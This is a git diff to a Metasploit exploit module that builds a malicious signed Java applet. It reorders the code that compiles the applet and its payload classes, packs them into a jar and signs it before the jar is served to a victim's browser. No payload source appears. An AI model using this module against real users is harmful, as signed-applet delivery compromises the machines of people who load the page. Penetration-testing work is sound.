diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index bf17bfb137..983d810af6 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -372,36 +372,38 @@ public class #{datastore['APPLETNAME']} extends Applet end end + appletcode = get_code(cli) + + print_status "Compiling applet classes..." + compile( appletcode['classnames'], appletcode['codefiles'] ) + + print_status "Compile completed. Building jar file..." + + unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" + @signedjar = "#{datastore['APPLETNAME']}.jar" + + build_jar( unsignedjar, + [ # Applet + datastore['APPLETNAME'] + ".class", + # PayloadX class + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class", + # PayloadX StreamConnector for pure Java payload + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] ) + + print_status "Jar built. Signing..." + + sign_jar( datastore['CERTCN'], unsignedjar, @signedjar ) + + print_status "Jar signed. Ready to send." + # TODO: gzip data and parse in java send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) return end - - appletcode = get_code(cli) - - print_status "Compiling applet classes..." - compile( appletcode['classnames'], appletcode['codefiles'] ) - - print_status "Compile completed. Building jar file..." - - unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" - signedjar = "#{datastore['APPLETNAME']}.jar" - - build_jar( unsignedjar, - [ # Applet - datastore['APPLETNAME'] + ".class", - # PayloadX class - datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class", - # PayloadX StreamConnector for pure Java payload - datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] ) - - print_status "Jar built. Signing..." - - sign_jar( datastore['CERTCN'], unsignedjar, signedjar ) - + # load the jar file - if File.exists? File.join( datastore['JAVACACHE'], signedjar ) - path = File.join( datastore['JAVACACHE'], signedjar ) + if File.exists? File.join( datastore['JAVACACHE'], @signedjar ) + path = File.join( datastore['JAVACACHE'], @signedjar ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close